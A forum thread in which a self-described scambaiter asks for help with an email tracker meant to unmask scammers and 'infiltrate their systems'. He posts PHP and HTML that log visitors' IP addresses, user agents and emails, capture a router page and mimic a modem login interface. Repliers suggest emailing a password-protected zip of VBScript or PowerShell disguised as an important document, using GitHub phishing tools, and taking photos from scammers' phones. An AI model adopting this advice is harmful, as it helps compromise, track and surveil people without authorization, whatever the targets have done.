I have been trying to learn to code for the best part of 30+ years, and I just can't understand/do it. Having various learning difficulties that make reading and numbers difficult makes it worse.
I am a 419 scambaiter. And since November last year I have been trying/testing/failing to master adding an image to my email signature that has code attached to it, and the code being used to collect information about the scammer.
I am not a quitter, but am starting to think that I will just be another baiter wasting these idiots time. I have been looking into the scammers who use the IMF as a reason to scam, and I want to try and infultrate their systems, find out who they are and all that jazz
Please help me to learning, correct the code I have already hashed together etc.
Hunter
(before anyone recommended do this/that/the other course etc - i have tried without luck, and financially i can't afford to try again. And I am stubborn enough to want to do as much as i can myself)
(Sep 17, 2024 11:37 AM)techscamhunter Wrote: And since November last year I have been trying/testing/failing to master adding an image to my email signature that has code attached to it, and the code being used to collect information about the scammer.
Can you give us the code that you're working on to review? Should be straight up HTML.
(Sep 17, 2024 11:37 AM)techscamhunter Wrote: I have been trying to learn to code for the best part of 30+ years, and I just can't understand/do it. Having various learning difficulties that make reading and numbers difficult makes it worse.
I am a 419 scambaiter. And since November last year I have been trying/testing/failing to master adding an image to my email signature that has code attached to it, and the code being used to collect information about the scammer.
I am not a quitter, but am starting to think that I will just be another baiter wasting these idiots time. I have been looking into the scammers who use the IMF as a reason to scam, and I want to try and infultrate their systems, find out who they are and all that jazz
Please help me to learning, correct the code I have already hashed together etc.
Hunter
(before anyone recommended do this/that/the other course etc - i have tried without luck, and financially i can't afford to try again. And I am stubborn enough to want to do as much as i can myself)
That 'code' had better be a tracking pixel. Otherwise, I don't even think an Outlook exploit would work for you as most ISPs block port 445 on the Internet. And like scammers would be using anything except Gmail Web or Outlook.com. Your JavaScript (I'm hoping that's what it is) doesn't have a chance of being executed. Attach a password-protected zip file containing VBScript or PowerShell. Tell the scammer that some important document is in it.
(Sep 17, 2024 11:37 AM)techscamhunter Wrote: I have been trying to learn to code for the best part of 30+ years, and I just can't understand/do it. Having various learning difficulties that make reading and numbers difficult makes it worse.
I am a 419 scambaiter. And since November last year I have been trying/testing/failing to master adding an image to my email signature that has code attached to it, and the code being used to collect information about the scammer.
I am not a quitter, but am starting to think that I will just be another baiter wasting these idiots time. I have been looking into the scammers who use the IMF as a reason to scam, and I want to try and infultrate their systems, find out who they are and all that jazz
Please help me to learning, correct the code I have already hashed together etc.
Hunter
(before anyone recommended do this/that/the other course etc - i have tried without luck, and financially i can't afford to try again. And I am stubborn enough to want to do as much as i can myself)
There are a lot of tools or attacks that you can use in the mean time while you take your time to learn.
Popular phishing tools will get you what want. Search github and find trusted ones. All require social engineering and usually require the user to accept permissions.
But in my experience, most of the time the African scammers don't care and will give permissions. And unless you caught a big fish to turn in to LE over there, they don't care, scammer or LE. It's still fun either way, emailing/texting/mailing them their pictures from their phone and their aparment building.
Sep 18, 2024 05:32 AM
(This post was last modified: Sep 18, 2024 05:34 AM by techscamhunter.)
(Sep 17, 2024 11:40 AM)Omniscient Wrote: Can you give us the code that you're working on to review? Should be straight up HTML.
Index.php
Code <!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>PHP and JavaScript Example</title>
</head>
<body>
<h1>PHP and JavaScript Integration</h1>
<?php
echo '<script type="text/javascript">
alert("JavaScript is working!");
</script>';
?>
[b]<!--[/b] You can also include external JavaScript files like this -->
<?php
echo '<script src="path/to/your/javascriptfile.js"></script>';
?>
</body>
</html>
<?php
// Function to get the visitor's IP address
function getVisitorIP() {
if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
return $_SERVER['HTTP_CLIENT_IP'];
} elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
return $_SERVER['HTTP_X_FORWARDED_FOR'];
} else {
return $_SERVER['REMOTE_ADDR'];
}
}
// Function to log visitor information
function logVisitor($ip, $page, $refer, $useragent, $email) {
$date_time = date("Y-m-d H:i:s");
$log_entry = "Date/Time: $date_time\nIP: $ip\nEmail: $email\nPage: $page\nRefer: $refer\nUseragent: $useragent\n\n";
$log_file = 'logs/logger.txt';
// Create the logs directory if it doesn't exist
if (!file_exists('logs')) {
mkdir('logs', 0755, true); // Create logs directory recursively
}
// Open the log file, create it if it doesn't exist
$fp = fopen($log_file, 'a');
if ($fp) {
fwrite($fp, $log_entry);
fclose($fp);
} else {
error_log("Failed to open log file $log_file for writing.");
}
}
// Function to make HTTP POST request using cURL
function postRequest($url, $data) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
$response = curl_exec($ch);
if ($response === false) {
error_log("cURL Error: " . curl_error($ch));
}
curl_close($ch);
return $response;
}
// Main process
$router_url = "http://192.168.1.1"; // Replace with your router's homepage URL
$client_ip = getVisitorIP();
$imgbb_api_key = "hidden";
$screenshot_api_key = "hidden";
$screenshot_url = "http://api.screenshotmachine.com?key=$screenshot_api_key&url=" . urlencode($router_url) . "&dimension=1024x768";
// Step 1: Capture screenshot using ScreenshotMachine API
$screenshot_data = postRequest($screenshot_url, array());
if ($screenshot_data === false) {
die("Failed to capture screenshot from ScreenshotMachine API.");
}
// Step 2: Upload screenshot to ImgBB
$imgbb_api_url = "https://api.imgbb.com/1/upload";
$imgbb_data = array(
'key' => $imgbb_api_key,
'image' => base64_encode($screenshot_data),
'name' => 'screenshot_' . time(), // Provide a name for the image
'expiration' => 3600 // Expiration time in seconds (optional)
);
$response_imgbb = postRequest($imgbb_api_url, $imgbb_data);
if ($response_imgbb === false) {
die("Failed to upload screenshot to ImgBB.");
}
$response_data = json_decode($response_imgbb, true);
if (isset($response_data['data']['url'])) {
$img_url = $response_data['data']['url'];
echo "URL of the uploaded image: $img_url\n\n";
// Step 3: Log visitor information after successful upload
$page = $_SERVER['REQUEST_URI'];
$refer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
$useragent = $_SERVER['HTTP_USER_AGENT'];
// Example email retrieval - replace with your actual logic to get the visitor's email
$email = isset($_POST['email']) ? $_POST['email'] : ''; // Example: Retrieve email from a form
logVisitor($client_ip, $page, $refer, $useragent, $email);
} else {
echo "Failed to retrieve the URL of the uploaded image from ImgBB API.";
}
// Step 4: Retrieve and log the HTML code of the router's homepage
$html_data = file_get_contents($router_url);
if ($html_data === false) {
die("Failed to retrieve HTML code from the router's homepage.");
}
$html_log_file = 'logs/router_homepage.HTML';
file_put_contents($html_log_file, $html_data);
echo "HTML code of the router's homepage saved to $html_log_file.\n\n";
echo "HTML code:\n$html_data\n";
// Output the content of the HTML file
if (file_exists($html_log_file)) {
$html_content = file_get_contents($html_log_file);
if ($html_content !== false) {
echo "HTML code of the router's homepage:\n\n";
echo $html_content;
} else {
echo "Failed to read HTML content from file: $html_log_file";
}
} else {
echo "HTML log file does not exist: $html_log_file";
}
?>
Index.html
Code <!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Click Here</title>
[b]<!--[/b] Meta tags, stylesheets, and other script imports as per your original HTML -->
<script src="js/vendor.js?848ff9bd42608d63"></script>
<script src="js/libs.js?404d8911c47e43e9"></script>
<script src="js/jquery-utils.js?351a717dd13384fe"></script>
<script src="js/gui-core.js?a574bc2c9423e43b"></script>
<script src="js/gui-api.js?0414c147f2685b82"></script>
<script src="js/gui-widgets.js?93496c3d82e7d544"></script>
<script src="js/xmo.js?15af68ef5231e0d8"></script>
<script src="js/main.js"></script> [b]<!--[/b] Include your custom main.js -->
[b]<!--[/b] Stylesheets -->
<link rel="stylesheet" href="styles/vendor.css">
<link rel="stylesheet" href="styles/lib.css">
<link rel="stylesheet" href="styles/main.css">
<link rel="stylesheet" href="styles/dev.css">
[b]<!--[/b] Conditional IE 8 stylesheet -->
[b]<!--[/b][if IE 8]>
<link rel="stylesheet" href="../styles/foundation-ie8.css" />
<![endif]-->
</head>
<body ng-app="sboxApp" ng-class="isMainTemplate ? '' : 'bg-gradient'" class="bg-gradient-force">
<div wait></div>
<div id="main-ui-view" class="zoomViewport ng-hide" ui-view></div>
<h1>Hello</h1>
<a href="https://ibb.co/B6dM46f" id="screenshotLink" target="_blank">
<img src="https://i.ibb.co/yQ42LgC/Sheep.jpg" alt="Sheep">
</a>
[b]<!--[/b] noscript section as per your original HTML -->
<noscript>
<h2 class="noscript">
Your modem interface can not be displayed correctly because either your browser does not support scripts or there is some browser add on blocking them, for the correct operation of the interface please check if your browser supports scripts , if the browser is blocking the execution of scripts or if one of the add ons installed in your browser is blocking this page to run scripts.
</h2>
</noscript>
</body>
</html>
(Sep 17, 2024 11:44 AM)DramaKing Wrote: That 'code' had better be a tracking pixel. Otherwise, I don't even think an Outlook exploit would work for you as most ISPs block port 445 on the Internet. And like scammers would be using anything except Gmail Web or Outlook.com. Your JavaScript (I'm hoping that's what it is) doesn't have a chance of being executed. Attach a password-protected zip file containing VBScript or PowerShell. Tell the scammer that some important document is in it.
I read up about creating a tracking pixel. But the majority of sites that share details on how to make and code them do it in Linux or something Once it starts talking about different scripts and powershell, I am lost and confused
At a glance that code seems fine. However, it's not going to execute for clients with HTML disabled in their emails. Something anyone with common sense would do.
Have you thought about using third party trackers? They actually might pass Gmail security better since they come from legit mail sources.
(Sep 18, 2024 08:38 AM)Omniscient Wrote: At a glance that code seems fine. However, it's not going to execute for clients with HTML disabled in their emails. Something anyone with common sense would do.
Have you thought about using third party trackers? They actually might pass Gmail security better since they come from legit mail sources.
I have, but have struggled to understand the jargon and one that fits what I'm looking for. Any suggestions?
(Sep 18, 2024 08:46 AM)techscamhunter Wrote: I have, but have struggled to understand the jargon and one that fits what I'm looking for. Any suggestions?
Looks like a lot of them now don't offer IP as part of tracking. Hopefully someone else can jump in to assist you because I'm short on time right now.
I've been looking at IP-Biter. Is that a good one, or can anyone recommend a better one. I have an account on infinityfree to create a site.
|
